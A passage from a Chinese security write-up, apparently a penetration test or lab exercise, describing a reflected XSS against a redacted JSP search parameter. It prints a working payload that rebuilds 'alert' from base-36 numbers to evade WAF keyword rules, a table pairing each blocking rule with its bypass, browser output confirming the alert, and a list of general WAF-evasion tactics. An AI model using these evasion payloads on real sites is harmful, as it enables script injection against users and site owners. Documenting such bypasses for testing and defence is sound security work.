0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;;var g=document.defaultView;g[(10).toString(36)+(21).toString(36)+(14).toString(36)+(27).toString(36)+(29).toString(36)]`1`//</span></span></span></pre></p></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">URL:</span></span></p><pre spellcheck="false" lang="" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf=""><a href="http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%601%60%2F%2F" target="_blank">http://xxxxx.jsp?word=%22%3Bvar%20g%3Ddocument.defaultView%3Bg%5B(10).toString(36)%2B(21).toString(36)%2B(14).toString(36)%2B(27).toString(36)%2B(29).toString(36)%5D%601%60%2F%2F</a></span></span></pre></p></pre><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">5.5 绕过技巧对应表</span></span></h5><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">WAF 规则</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">绕过方法</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">拦截 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alert(</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">用 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">(10).toString(36)</span></code><span style="box-sizing: border-box;"><span leaf=""> 逐字母构造 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&#39;alert&#39;</span></code><span style="box-sizing: border-box;"><span leaf="">，</span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alert</span></code><span style="box-sizing: border-box;"><span leaf=""> 关键字不出现在 URL 中</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">拦截 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">this[</span></code><span style="box-sizing: border-box;"><span leaf=""> / </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">self[</span></code><span style="box-sizing: border-box;"><span leaf=""> / </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">window[</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">用 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">document.defaultView</span></code><span style="box-sizing: border-box;"><span leaf=""> 获取 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">window</span></code><span style="box-sizing: border-box;"><span leaf=""> 对象</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">拦截方括号+函数调用 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">s[1](1)</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">普通变量</span></span></strong><span style="box-sizing: border-box;"><span leaf="">的方括号调用不被拦截（</span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">g[&#39;alert&#39;](1)</span></code><span style="box-sizing: border-box;"><span leaf=""> 通过）</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">拦截 Base64 编码</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">toString(36)</span></code><span style="box-sizing: border-box;"><span leaf=""> 只有数字和 dot 号，不触发 Base64 检测</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">拦截 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">function(){}()</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">不使用函数声明，直接用语句执行</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">拦截 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">(</span></code><span style="box-sizing: border-box;"><span leaf=""> 闭合模式</span></span></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">(1)</span></code><span style="box-sizing: border-box;"><span leaf=""> 单独出现不被拦截，只在特定函数名后触发</span></span></td></tr></tbody></table></figure><hr style="box-sizing: content-box;height: 2px;padding: 0px;margin: 16px 0px;background-color: rgb(231, 231, 231);border: 0px;overflow: hidden;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h4 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">6. 成功验证</span></span></h4><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">测试过程中浏览器 </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">成功弹出了 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">alert: 1</span></code><span style="box-sizing: border-box;"><span leaf=""> 对话框</span></span></strong><span style="box-sizing: border-box;"><span leaf="">，并通过 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">handle_dialog</span></code><span style="box-sizing: border-box;"><span leaf=""> 确认关闭：</span></span></p><pre spellcheck="false" lang="" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">Navigation timeout of 10000 ms exceeded.</span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">### Open dialog</span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">alert: 1.</span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">Call handle_dialog to handle it before continuing.</span></span></pre></p></pre><hr style="box-sizing: content-box;height: 2px;padding: 0px;margin: 16px 0px;background-color: rgb(231, 231, 231);border: 0px;overflow: hidden;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h4 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">7. 总结</span></span></h4><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">无法绕过的方式</span></span></h5><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">素材文件中的所有 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a href&gt;</span></code><span style="box-sizing: border-box;"><span leaf=""> 类 payload 均无法直接使用，因为：</span></span></p><ol style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 40px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">注入点不在 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a&gt;</span></code><span style="box-sizing: border-box;"><span leaf=""> 标签的 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">href</span></code><span style="box-sizing: border-box;"><span leaf=""> 属性中，而在 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;script&gt;</span></code><span style="box-sizing: border-box;"><span leaf=""> 字符串中</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><span style="box-sizing: border-box;"><span leaf="">即使尝试注入 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;a&gt;</span></code><span style="box-sizing: border-box;"><span leaf=""> 标签，</span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;</span></code><span style="box-sizing: border-box;"><span leaf=""> 也会被 WAF 拦截返回&#34;非法请求&#34;</span></span></p></li></ol><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">通用绕过思路</span></span></h5><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">对于此类强 WAF，以下思路组合可以有效突破：</span></span></p><ol style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 40px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">避开黑名单函数名</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: 用 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">toString(36)</span></code><span style="box-sizing: border-box;"><span leaf=""> 或类似动态字符串构造方法</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">避开全局对象关键字</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: 用 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 